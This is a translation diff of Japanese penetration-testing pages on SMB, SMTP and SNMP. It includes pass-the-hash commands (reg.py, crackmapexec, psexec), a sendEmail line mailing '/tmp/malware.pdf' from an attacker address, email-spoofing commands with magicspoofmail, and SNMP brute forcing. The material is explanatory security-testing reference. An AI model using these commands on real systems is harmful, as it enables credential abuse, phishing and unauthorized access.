> **SYSVOL share** は **ドメイン内のすべての認証ユーザー** によって **読み取り可能** です。そこには多くの異なるバッチ、VBScript、および PowerShell **スクリプト** が **見つかる** かもしれません。\
|
||||
> その中の **スクリプト** を **確認** するべきで、**パスワード** などの機密情報を **見つける** かもしれません。
|
||||
|
||||
## レジストリの読み取り
|
||||
|
||||
発見した認証情報を使用して **レジストリを読み取る** ことができるかもしれません。Impacket **`reg.py`** を使用して試すことができます:
|
||||
発見した資格情報を使用して **レジストリを読み取る** ことができるかもしれません。Impacket **`reg.py`** を使用して試すことができます:
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexecは、**wmiexec**を**デフォルト**の方法として、**mmcexec、smbexec、atexec、wmiexec**のいずれかを**悪用して**コマンドを実行できます。使用したいオプションを`--exec-method`パラメータで指定できます:
|
||||
crackmapexecは、**mmcexec、smbexec、atexec、wmiexec**のいずれかを**悪用して**コマンドを実行できます。**wmiexec**が**デフォルト**の方法です。使用したいオプションを`--exec-method`パラメータで指定できます:
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
@ -379,7 +379,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
|
||||
|
||||
両方のオプションは、**新しいサービスを作成します**(SMB経由で_\pipe\svcctl_を使用)被害者のマシンで、これを使用して**何かを実行します**(**psexec**は**実行可能ファイルをADMIN$共有にアップロードし、**smbexec**は**cmd.exe/powershell.exe**を指し、引数にペイロードを入れます --**ファイルレス技術-**-)。\
|
||||
**詳細情報**は[**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)と[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)について。\
|
||||
**詳細情報**は[**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)と[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)を参照してください。\
|
||||
**kali**では、/usr/share/doc/python3-impacket/examples/にあります。
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
@ -388,7 +388,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||||
```
|
||||
**パラメータ**`-k`を使用すると、**NTLM**の代わりに**kerberos**で認証できます。
|
||||
**パラメーター**`-k`を使用すると、**kerberos**に対して認証できます。
|
||||
|
||||
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
|
||||
|
||||
@ -442,7 +442,7 @@ WindowsライブラリURLMon.dllは、ページがSMBを介してコンテンツ
|
||||
- URLOpenStream
|
||||
- URLOpenBlockingStream
|
||||
|
||||
これらは一部のブラウザやツール(Skypeなど)で使用されます。
|
||||
これらは一部のブラウザやツール(Skypeなど)によって使用されます。
|
||||
|
||||
.png>)
|
||||
|
||||
@ -452,7 +452,7 @@ WindowsライブラリURLMon.dllは、ページがSMBを介してコンテンツ
|
||||
|
||||
## NTLM窃盗
|
||||
|
||||
SMBトラッピングに似て、ターゲットシステムに悪意のあるファイルを植え付ける(例えばSMBを介して)は、SMB認証の試行を引き起こす可能性があり、NetNTLMv2ハッシュをResponderのようなツールで傍受することができます。ハッシュはオフラインでクラックするか、[SMBリレー攻撃](#smb-relay-attack)に使用できます。
|
||||
SMBトラッピングに似て、ターゲットシステムに悪意のあるファイルを植え付ける(例えばSMB経由で)ことで、SMB認証の試行を引き起こし、NetNTLMv2ハッシュをResponderのようなツールで傍受することができます。ハッシュはオフラインでクラックするか、[SMBリレー攻撃](#smb-relay-attack)に使用できます。
|
||||
|
||||
[参照: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## **基本情報**
|
||||
|
||||
**Simple Mail Transfer Protocol (SMTP)** は、**電子メールの送受信**に使用されるTCP/IPスイート内のプロトコルです。受信者側でのメッセージのキューイングに制限があるため、SMTPはしばしば**POP3またはIMAP**と一緒に使用されます。これらの追加プロトコルは、ユーザーがサーバーメールボックスにメッセージを保存し、定期的にダウンロードすることを可能にします。
|
||||
**Simple Mail Transfer Protocol (SMTP)** は、**電子メールの送受信**に使用されるTCP/IPスイート内のプロトコルです。受信者側でメッセージをキューイングする際の制限により、SMTPはしばしば**POP3またはIMAP**と一緒に使用されます。これらの追加プロトコルは、ユーザーがサーバーメールボックスにメッセージを保存し、定期的にダウンロードすることを可能にします。
|
||||
|
||||
実際には、**電子メールプログラム**が**電子メールの送信にSMTPを使用し**、**受信にはPOP3またはIMAPを利用する**ことが一般的です。Unixベースのシステムでは、**sendmail**が電子メール目的で最も頻繁に使用されるSMTPサーバーとして際立っています。商用パッケージであるSendmailは、POP3サーバーを含んでいます。さらに、**Microsoft Exchange**はSMTPサーバーを提供し、POP3サポートを含めるオプションを提供しています。
|
||||
|
||||
@ -60,9 +60,9 @@ NTLM supported
|
||||
```
|
||||
Or **automate** this with **nmap** plugin `smtp-ntlm-info.nse`
|
||||
|
||||
### Internal server name - Information disclosure
|
||||
### Internal server name - 情報漏洩
|
||||
|
||||
一部のSMTPサーバーは、完全なアドレスなしでコマンド「MAIL FROM」が発行されると、送信者のアドレスを自動補完し、内部名を開示します:
|
||||
Some SMTP servers auto-complete a sender's address when command "MAIL FROM" is issued without a full address, disclosing its internal name:
|
||||
```
|
||||
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
|
||||
EHLO all
|
||||
@ -83,9 +83,9 @@ MAIL FROM: me
|
||||
```
|
||||
### スニッフィング
|
||||
|
||||
ポート25へのパケットからパスワードをスニッフィングできるか確認してください。
|
||||
ポート25へのパケットからパスワードをスニッフィングしているか確認してください。
|
||||
|
||||
### [認証ブルートフォース](../../generic-hacking/brute-force.md#smtp)
|
||||
### [Auth bruteforce](../../generic-hacking/brute-force.md#smtp)
|
||||
|
||||
## ユーザー名ブルートフォース列挙
|
||||
|
||||
@ -150,11 +150,11 @@ Nmap: nmap --script smtp-enum-users <IP>
|
||||
```
|
||||
## DSNレポート
|
||||
|
||||
**配信状況通知レポート**: 組織に**無効なアドレス**に**メール**を送信すると、組織はそのアドレスが無効であることを**あなたにメールを返送する**ことで通知します。返送されたメールの**ヘッダー**には、可能な**機密情報**(レポートとやり取りしたメールサービスのIPアドレスやアンチウイルスソフトウェアの情報など)が**含まれます**。
|
||||
**配信状況通知レポート**: 組織に**無効なアドレス**に**メール**を送信すると、組織はそのアドレスが無効であることを通知し、**あなたにメールを返送**します。返送されたメールの**ヘッダー**には、可能な**機密情報**(レポートとやり取りしたメールサービスのIPアドレスやアンチウイルスソフトウェアの情報など)が**含まれます**。
|
||||
|
||||
## [コマンド](smtp-commands.md)
|
||||
|
||||
### Linuxコンソールからのメール送信
|
||||
### Linuxコンソールからメールを送信する
|
||||
```bash
|
||||
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
|
||||
Reading message body from STDIN because the '-m' option was not used.
|
||||
@ -219,7 +219,7 @@ print("[***]successfully sent email to %s:" % (msg['To']))
|
||||
|
||||
## SMTP スマグリング
|
||||
|
||||
SMTP スマグリングの脆弱性により、すべての SMTP 保護をバイパスすることが可能でした(保護に関する詳細は次のセクションを参照してください)。SMTP スマグリングの詳細については、次を確認してください:
|
||||
SMTP スマグリングの脆弱性により、すべての SMTP 保護をバイパスすることが可能でした(保護に関する詳細は次のセクションを参照してください)。SMTP スマグリングの詳細については、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
smtp-smuggling.md
|
||||
@ -229,7 +229,7 @@ smtp-smuggling.md
|
||||
|
||||
組織は、SMTP メッセージのスプーフィングの容易さから、**SPF**、**DKIM**、および **DMARC** を採用することで、無許可のメールが自分たちの名義で送信されるのを防ぎます。
|
||||
|
||||
**これらの対策に関する完全ガイド**は [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/) で入手可能です。
|
||||
**これらの対策に関する完全なガイド**は、[https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/) で入手できます。
|
||||
|
||||
### SPF
|
||||
|
||||
@ -237,7 +237,7 @@ smtp-smuggling.md
|
||||
> SPF [は2014年に「非推奨」とされました](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/)。これは、`_spf.domain.com` に **TXT レコード**を作成するのではなく、**同じ構文**を使用して `domain.com` に作成することを意味します。\
|
||||
> さらに、以前の SPF レコードを再利用するために、`"v=spf1 include:_spf.google.com ~all"` のようなものを見つけることはよくあります。
|
||||
|
||||
**Sender Policy Framework** (SPF) は、メール転送エージェント (MTA) が、メールを送信しているホストが組織によって定義された承認されたメールサーバーのリストを照会することで、そのホストがメールを送信する権限があるかどうかを確認できるメカニズムです。このリストには、**ドメイン名を代表してメールを送信することを許可された**さまざまな「**メカニズム**」が SPF レコードに含まれています。
|
||||
**Sender Policy Framework** (SPF) は、メール転送エージェント (MTA) が、メールを送信しているホストが組織によって定義された承認済みメールサーバーのリストを照会することで、そのホストがメールを送信する権限を持っているかどうかを確認できるメカニズムです。このリストには、**ドメイン名を代表してメールを送信することを許可された**さまざまな「**メカニズム**」が含まれています。
|
||||
|
||||
#### メカニズム
|
||||
|
||||
@ -256,15 +256,15 @@ smtp-smuggling.md
|
||||
| REDIRECT | <p>リダイレクトは、SPF ポリシーをホストする別のドメイン名へのポインタです。これにより、複数のドメインが同じ SPF ポリシーを共有できます。これは、同じメールインフラストラクチャを共有する多数のドメインを扱う際に便利です。</p><p>リダイレクトメカニズムで示されたドメインの SPF ポリシーが使用されます。</p> |
|
||||
|
||||
**クオリファイア**を特定することも可能で、**メカニズムが一致した場合に何をすべきか**を示します。デフォルトでは、**クオリファイア "+"** が使用されます(したがって、いずれかのメカニズムが一致する場合、それは許可されていることを意味します)。\
|
||||
通常、各 SPF ポリシーの**最後に**、**\~all** または **-all** のようなものが記載されています。これは、**送信者がいずれの SPF ポリシーにも一致しない場合、メールを信頼できないとタグ付けする(\~)か、メールを拒否する(-)べきであることを示します。**
|
||||
通常、各 SPF ポリシーの**最後に**、**\~all** または **-all** のようなものが記載されています。これは、**送信者がどの SPF ポリシーにも一致しない場合、メールを信頼できないとタグ付けする(\~)か、メールを拒否する(-)べきであることを示します。**
|
||||
|
||||
#### クオリファイア
|
||||
|
||||
ポリシー内の各メカニズムは、意図された結果を定義するために、4つのクオリファイアのいずれかで接頭辞を付けることができます:
|
||||
ポリシー内の各メカニズムは、意図された結果を定義するために、4 つのクオリファイアのいずれかでプレフィックスを付けることができます:
|
||||
|
||||
- **`+`**: PASS 結果に対応します。デフォルトでは、メカニズムはこのクオリファイアを仮定し、`+mx` は `mx` と同等です。
|
||||
- **`?`**: NEUTRAL 結果を表し、特定のポリシーがない NONE と同様に扱われます。
|
||||
- **`~`**: SOFTFAIL を示し、NEUTRAL と FAIL の中間の立場を取ります。この結果を満たすメールは通常受け入れられますが、適切にマークされます。
|
||||
- **`?`**: NEUTRAL 結果を表し、NONE(特定のポリシーなし)と同様に扱われます。
|
||||
- **`~`**: SOFTFAIL を示し、NEUTRAL と FAIL の中間に位置します。この結果を満たすメールは通常受け入れられますが、適切にマークされます。
|
||||
- **`-`**: FAIL を示し、メールは完全に拒否されるべきであることを示唆します。
|
||||
|
||||
次の例では、**google.com の SPF ポリシー**が示されています。最初の SPF ポリシー内に異なるドメインからの SPF ポリシーが含まれていることに注意してください:
|
||||
@ -286,13 +286,13 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
|
||||
dig txt _netblocks3.google.com | grep spf
|
||||
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
|
||||
```
|
||||
従来、正しい/任意のSPFレコードを持たないドメイン名を偽装することが可能でした。**現在では**、**有効なSPFレコードのないドメインからの** **メール**は、おそらく**自動的に拒否される/信頼されていないとマークされる**でしょう。
|
||||
従来、正しい/任意のSPFレコードを持たないドメイン名を偽装することが可能でした。**現在では**、**有効なSPFレコードを持たないドメインからの** **メール**は、おそらく**自動的に拒否される/信頼されていないとマークされる**でしょう。
|
||||
|
||||
ドメインのSPFを確認するには、次のようなオンラインツールを使用できます: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
|
||||
|
||||
### DKIM (DomainKeys Identified Mail)
|
||||
|
||||
DKIMは、外部のメール転送エージェント(MTA)による検証を可能にするために、送信メールに署名するために利用されます。これにより、ドメインの公開鍵をDNSから取得できます。この公開鍵は、ドメインのTXTレコードにあります。この鍵にアクセスするには、セレクタとドメイン名の両方を知っている必要があります。
|
||||
DKIMは、外部のメール転送エージェント(MTA)による検証を可能にするために、送信メールに署名するために利用されます。これにより、ドメインの公開鍵をDNSから取得します。この公開鍵は、ドメインのTXTレコードにあります。この鍵にアクセスするには、セレクタとドメイン名の両方を知っている必要があります。
|
||||
|
||||
例えば、鍵を要求するには、ドメイン名とセレクタが必要です。これらはメールヘッダーの`DKIM-Signature`に見つけることができます。例: `d=gmail.com;s=20120113`。
|
||||
|
||||
@ -325,35 +325,35 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
||||
| タグ名 | 目的 | サンプル |
|
||||
| -------- | --------------------------------------------- | ------------------------------- |
|
||||
| v | プロトコルバージョン | v=DMARC1 |
|
||||
| pct | フィルタリングの対象となるメッセージの割合 | pct=20 |
|
||||
| ruf | フォレンジックレポートの報告URI | ruf=mailto:authfail@example.com |
|
||||
| pct | フィルタリングの対象となるメッセージの割合 | pct=20 |
|
||||
| ruf | フォレンジックレポートの報告URI | ruf=mailto:authfail@example.com |
|
||||
| rua | 集約レポートの報告URI | rua=mailto:aggrep@example.com |
|
||||
| p | 組織ドメインのポリシー | p=quarantine |
|
||||
| sp | ODのサブドメインのポリシー | sp=reject |
|
||||
| adkim | DKIMの整合性モード | adkim=s |
|
||||
| aspf | SPFの整合性モード | aspf=r |
|
||||
| p | 組織ドメインのポリシー | p=quarantine |
|
||||
| sp | ODのサブドメインのポリシー | sp=reject |
|
||||
| adkim | DKIMの整合性モード | adkim=s |
|
||||
| aspf | SPFの整合性モード | aspf=r |
|
||||
|
||||
### **サブドメインについてはどうですか?**
|
||||
### **サブドメインについては?**
|
||||
|
||||
**こちら**から。\
|
||||
メールを送信する各サブドメインに対して、別々のSPFレコードを持つ必要があります。\
|
||||
以下は、以前openspf.orgに投稿されたもので、この種の情報にとって素晴らしいリソースでした。
|
||||
|
||||
> デーモンの質問: サブドメインについてはどうですか?
|
||||
> デーモンの質問: サブドメインについては?
|
||||
>
|
||||
> pielovers.demon.co.ukからメールを受け取った場合、pieloversのSPFデータがない場合、1つ上のレベルに戻ってdemon.co.ukのSPFをテストすべきですか? いいえ。Demonの各サブドメインは異なる顧客であり、各顧客は独自のポリシーを持っている可能性があります。Demonのポリシーがデフォルトで全顧客に適用されるのは理にかなりません。Demonがそれを望む場合、各サブドメインのためにSPFレコードを設定できます。
|
||||
> pielovers.demon.co.ukからメールを受け取った場合、pieloversのSPFデータがない場合、1つ上のレベルに戻ってdemon.co.ukのSPFをテストすべきですか? いいえ。Demonの各サブドメインは異なる顧客であり、各顧客は独自のポリシーを持っている可能性があります。Demonのポリシーがデフォルトで全顧客に適用されるのは理にかなっていません。Demonがそれを望む場合、各サブドメインのためにSPFレコードを設定できます。
|
||||
>
|
||||
> したがって、SPF発行者へのアドバイスは次のとおりです: AまたはMXレコードを持つ各サブドメインまたはホスト名に対してSPFレコードを追加する必要があります。
|
||||
>
|
||||
> ワイルドカードAまたはMXレコードを持つサイトは、次の形式のワイルドカードSPFレコードも持つべきです: \* IN TXT "v=spf1 -all"
|
||||
|
||||
これは理にかなっています - サブドメインは異なる地理的場所にあり、非常に異なるSPF定義を持つ可能性があります。
|
||||
これは理にかなっています - サブドメインは異なる地理的位置にあり、非常に異なるSPF定義を持つ可能性があります。
|
||||
|
||||
### **オープンリレー**
|
||||
|
||||
メールが送信される際、スパムとしてフラグが立てられないようにすることが重要です。これは、**受信者によって信頼されるリレーサーバーを使用することで達成されることが多い**です。しかし、一般的な課題は、管理者がどの**IP範囲が許可されるべきかを完全に理解していない可能性があることです**。この理解の欠如は、SMTPサーバーの設定におけるミスにつながる可能性があり、これはセキュリティ評価で頻繁に指摘されるリスクです。
|
||||
|
||||
特に潜在的または進行中のクライアントとの通信に関するメール配信の問題を回避するために、一部の管理者が使用する回避策は、**任意のIPアドレスからの接続を許可することです**。これは、以下に示すように、SMTPサーバーの`mynetworks`パラメータをすべてのIPアドレスを受け入れるように設定することで行われます。
|
||||
特に潜在的または進行中のクライアントとの通信に関して、メール配信の問題を回避するために、一部の管理者が使用する回避策は、**任意のIPアドレスからの接続を許可することです**。これは、以下に示すように、SMTPサーバーの`mynetworks`パラメータをすべてのIPアドレスを受け入れるように設定することで行われます。
|
||||
```bash
|
||||
mynetworks = 0.0.0.0/0
|
||||
```
|
||||
@ -382,8 +382,8 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
|
||||
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
|
||||
```
|
||||
> [!WARNING]
|
||||
> DKIM Pythonライブラリで**キーの解析中にエラーが発生した場合**は、以下のものを使用してください。\
|
||||
> **注意**: これは、何らかの理由でopensslプライベートキーが**dkimによって解析できない**場合に、迅速なチェックを行うための簡易的な修正です。
|
||||
> DKIM Pythonライブラリを使用してキーを解析する際に**エラーが発生した場合**は、以下のものを自由に使用してください。\
|
||||
> **注意**: これは、何らかの理由でopensslプライベートキーが**dkimによって解析できない**場合に、迅速なチェックを行うための単なる簡易的な修正です。
|
||||
>
|
||||
> ```
|
||||
> -----BEGIN RSA PRIVATE KEY-----
|
||||
@ -475,7 +475,7 @@ s.sendmail(sender, [destination], msg_data)
|
||||
|
||||
### **詳細情報**
|
||||
|
||||
**これらの保護に関する詳細情報は** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) **で確認できます。**
|
||||
**これらの保護に関する詳細情報は** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) **で見つけてください。**
|
||||
|
||||
### **その他のフィッシング指標**
|
||||
|
||||
@ -484,7 +484,7 @@ s.sendmail(sender, [destination], msg_data)
|
||||
- リンク操作技術
|
||||
- 疑わしい(一般的でない)添付ファイル
|
||||
- 壊れたメールコンテンツ
|
||||
- メールヘッダーと異なる値の使用
|
||||
- メールヘッダーの値と異なる値の使用
|
||||
- 有効で信頼できるSSL証明書の存在
|
||||
- ウェブコンテンツフィルタリングサイトへのページの提出
|
||||
|
||||
|
@ -14,25 +14,25 @@ PORT STATE SERVICE REASON VERSION
|
||||
|
||||
### MIB
|
||||
|
||||
SNMPアクセスが異なるメーカーやクライアント-サーバーの組み合わせで機能することを保証するために、**管理情報ベース(MIB)**が作成されました。MIBは、**デバイス情報を保存するための独立したフォーマット**です。MIBは、デバイスのすべてのクエリ可能な**SNMPオブジェクト**が**標準化された**ツリー階層にリストされている**テキスト**ファイルです。少なくとも1つの`オブジェクト識別子(OID)`が含まれており、必要な**一意のアドレス**と**名前**に加えて、タイプ、アクセス権、およびそれぞれのオブジェクトの説明に関する情報も提供します。\
|
||||
MIBファイルは、`抽象構文表記法1(ASN.1)`に基づくASCIIテキスト形式で記述されています。**MIBにはデータは含まれていません**が、**どこにどの情報があるか**、それがどのように見えるか、特定のOIDに対して返される値、または使用されるデータ型について説明します。
|
||||
SNMPアクセスが異なるメーカーやクライアント-サーバーの組み合わせで機能することを保証するために、**管理情報ベース(MIB)**が作成されました。MIBは、**デバイス情報を保存するための独立したフォーマット**です。MIBは、デバイスのすべてのクエリ可能な**SNMPオブジェクト**が**標準化された**ツリー階層にリストされている**テキスト**ファイルです。少なくとも1つの`オブジェクト識別子(OID)`が含まれており、必要な**ユニークアドレス**と**名前**に加えて、タイプ、アクセス権、およびそれぞれのオブジェクトの説明に関する情報も提供します。\
|
||||
MIBファイルは、`抽象構文表記法1(ASN.1)`に基づくASCIIテキストフォーマットで記述されています。**MIBにはデータは含まれていません**が、**どこにどの情報があるか**、それがどのように見えるか、特定のOIDに対して返される値、または使用されるデータ型について説明します。
|
||||
|
||||
### OIDs
|
||||
|
||||
**オブジェクト識別子(OIDs)**は重要な役割を果たします。これらの一意の識別子は、**管理情報ベース(MIB)**内のオブジェクトを管理するために設計されています。
|
||||
**オブジェクト識別子(OIDs)**は重要な役割を果たします。これらのユニークな識別子は、**管理情報ベース(MIB)**内のオブジェクトを管理するために設計されています。
|
||||
|
||||
MIBオブジェクトID、またはOIDの最上位レベルは、さまざまな標準設定機関に割り当てられています。これらの上位レベル内で、グローバルな管理慣行と標準の枠組みが確立されます。
|
||||
MIBオブジェクトID、またはOIDの最上位レベルは、さまざまな標準設定機関に割り当てられています。これらの上位レベル内で、グローバルな管理慣行と標準のフレームワークが確立されます。
|
||||
|
||||
さらに、ベンダーはプライベートブランチを設立する自由が与えられています。これらのブランチ内では、**自社の製品ラインに関連する管理オブジェクトを含める自主性**があります。このシステムは、異なるベンダーや標準間でのさまざまなオブジェクトを識別し管理するための構造化された方法を確保します。
|
||||
さらに、ベンダーはプライベートブランチを設立する自由が与えられています。これらのブランチ内では、**自社の製品ラインに関連する管理対象オブジェクトを含める自主性**があります。このシステムは、異なるベンダーや標準間でのさまざまなオブジェクトを識別し管理するための構造化された方法を確保します。
|
||||
|
||||
.png>)
|
||||
|
||||
ここから**OIDツリーをナビゲート**できます: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) または**OIDの意味を確認**できます(例えば`1.3.6.1.2.1.1`): [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)。\
|
||||
いくつかの**よく知られたOID**があります。例えば、[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1)内のOIDは、MIB-2で定義されたシンプルネットワーク管理プロトコル(SNMP)変数を参照しています。また、このOIDから**保留中のOID**を使用して、興味深いホストデータ(システムデータ、ネットワークデータ、プロセスデータなど)を取得できます。
|
||||
ここから**OIDツリーをナビゲート**できます: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) または**OIDの意味を確認**できます(例えば`1.3.6.1.2.1.1`): [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
|
||||
いくつかの**よく知られたOID**があります。例えば、[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1)内のOIDは、MIB-2で定義されたシンプルネットワーク管理プロトコル(SNMP)変数を参照しています。そして、このOIDから**保留中のOID**を使用して、興味深いホストデータ(システムデータ、ネットワークデータ、プロセスデータなど)を取得できます。
|
||||
|
||||
### **OIDの例**
|
||||
|
||||
[**こちらの例**](https://www.netadmintools.com/snmp-mib-and-oids/):
|
||||
[**こちらからの例**](https://www.netadmintools.com/snmp-mib-and-oids/):
|
||||
|
||||
**`1 . 3 . 6 . 1 . 4 . 1 . 1452 . 1 . 2 . 5 . 1 . 3. 21 . 1 . 4 . 7`**
|
||||
|
||||
@ -40,7 +40,7 @@ MIBオブジェクトID、またはOIDの最上位レベルは、さまざまな
|
||||
|
||||
- 1 – これはISOと呼ばれ、これがOIDであることを示します。すべてのOIDが「1」で始まる理由です。
|
||||
- 3 – これはORGと呼ばれ、デバイスを製造した組織を指定するために使用されます。
|
||||
- 6 – これはdodまたは国防総省で、最初にインターネットを確立した組織です。
|
||||
- 6 – これはdodまたは国防総省で、インターネットを最初に確立した組織です。
|
||||
- 1 – これはインターネットの値で、すべての通信がインターネットを通じて行われることを示します。
|
||||
- 4 – この値は、このデバイスが政府機関ではなく民間組織によって製造されたことを示します。
|
||||
- 1 – この値は、デバイスが企業またはビジネスエンティティによって製造されたことを示します。
|
||||
@ -50,7 +50,7 @@ MIBオブジェクトID、またはOIDの最上位レベルは、さまざまな
|
||||
次の数のセットに進みます。
|
||||
|
||||
- 1452 – このデバイスを製造した組織の名前を示します。
|
||||
- 1 – デバイスのタイプを説明します。この場合、アラーム時計です。
|
||||
- 1 – デバイスのタイプを説明します。この場合、アラームクロックです。
|
||||
- 2 – このデバイスがリモートターミナルユニットであることを示します。
|
||||
|
||||
残りの値はデバイスに関する特定の情報を提供します。
|
||||
@ -68,7 +68,7 @@ MIBオブジェクトID、またはOIDの最上位レベルは、さまざまな
|
||||
SNMPには2つの重要なバージョンがあります。
|
||||
|
||||
- **SNMPv1**: 主なもので、最も頻繁に使用されており、**認証は文字列**(コミュニティ文字列)に基づいており、**平文**で送信されます(すべての情報が平文で送信されます)。**バージョン2および2c**も**平文でトラフィックを送信**し、**コミュニティ文字列を認証**として使用します。
|
||||
- **SNMPv3**: より良い**認証**形式を使用し、情報は**暗号化**されて送信されます(**辞書攻撃**は実行可能ですが、SNMPv1およびv2よりも正しい資格情報を見つけるのがはるかに難しくなります)。
|
||||
- **SNMPv3**: より良い**認証**形式を使用し、情報は**暗号化**されて送信されます(**辞書攻撃**は実行可能ですが、SNMPv1およびv2よりも正しいクレデンシャルを見つけるのがはるかに難しくなります)。
|
||||
|
||||
### コミュニティ文字列
|
||||
|
||||
@ -78,8 +78,8 @@ SNMPには2つの重要なバージョンがあります。
|
||||
- **`public`** 主に**読み取り専用**機能
|
||||
- **`private`** **読み書き**一般
|
||||
|
||||
**OIDの書き込み可能性は使用されるコミュニティ文字列に依存する**ため、**たとえ**「**public**」が使用されている場合でも、**いくつかの値を書き込むことができるかもしれません**。また、**常に「読み取り専用」のオブジェクトが存在する可能性があります**。\
|
||||
オブジェクトに**書き込もうとすると、`noSuchName`または`readOnly`エラーが返されます\*\*。\*\*
|
||||
**OIDの書き込み可能性は使用されるコミュニティ文字列に依存する**ため、**たとえ**「**public**」が使用されている場合でも、**いくつかの値を書き込むことができるかもしれません。**また、**常に「読み取り専用」のオブジェクトが存在する可能性があります。**\
|
||||
オブジェクトに**書き込もうとすると、**`noSuchName`または`readOnly`エラー**が受信されます\*\*.\*\*
|
||||
|
||||
バージョン1および2/2cでは、**不正な**コミュニティ文字列を使用すると、サーバーは**応答しません**。したがって、応答がある場合は、**有効なコミュニティ文字列が使用された**ことになります。
|
||||
|
||||
@ -93,11 +93,11 @@ SNMPには2つの重要なバージョンがあります。
|
||||
|
||||
## ブルートフォースコミュニティ文字列(v1およびv2c)
|
||||
|
||||
**コミュニティ文字列を推測するために**辞書攻撃を実行することができます。[ここでSNMPに対するブルートフォース攻撃を実行するさまざまな方法を確認してください](../../generic-hacking/brute-force.md#snmp)。よく使用されるコミュニティ文字列は`public`です。
|
||||
**コミュニティ文字列を推測するために**辞書攻撃を実行できます。SNMPに対するブルートフォース攻撃を実行するさまざまな方法については[こちらを確認してください](../../generic-hacking/brute-force.md#snmp)。よく使用されるコミュニティ文字列は`public`です。
|
||||
|
||||
## SNMPの列挙
|
||||
|
||||
デバイスから収集した**各OIDの意味を確認するために、以下をインストールすることをお勧めします**:
|
||||
デバイスから収集した**各OIDの意味を確認するために、以下をインストールすることをお勧めします**:
|
||||
```bash
|
||||
apt-get install snmp-mibs-downloader
|
||||
download-mibs
|
||||
@ -124,60 +124,60 @@ braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
|
||||
```bash
|
||||
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
```
|
||||
**SNMP** にはホストに関する多くの情報が含まれており、興味深いものには以下が含まれます: **ネットワークインターフェース** (IPv4 および **IPv6** アドレス)、ユーザー名、稼働時間、サーバー/OS バージョン、および **プロセス**
|
||||
**SNMP**はホストに関する多くの情報を持っており、興味深いものには以下が含まれます: **ネットワークインターフェース**(IPv4および**IPv6**アドレス)、ユーザー名、稼働時間、サーバー/OSバージョン、そして**プロセス**
|
||||
|
||||
**実行中** (パスワードを含む可能性があります)....
|
||||
**実行中**(パスワードを含む可能性があります)....
|
||||
|
||||
### **危険な設定**
|
||||
|
||||
ネットワーク管理の領域では、特定の構成やパラメータが包括的な監視と制御を確保するための鍵となります。
|
||||
ネットワーク管理の領域では、特定の構成とパラメータが包括的な監視と制御を確保するための鍵となります。
|
||||
|
||||
### アクセス設定
|
||||
|
||||
**完全な OID ツリー** へのアクセスを可能にする2つの主要な設定があります。これはネットワーク管理において重要な要素です:
|
||||
**完全なOIDツリー**へのアクセスを可能にする2つの主要な設定があります。これはネットワーク管理において重要な要素です:
|
||||
|
||||
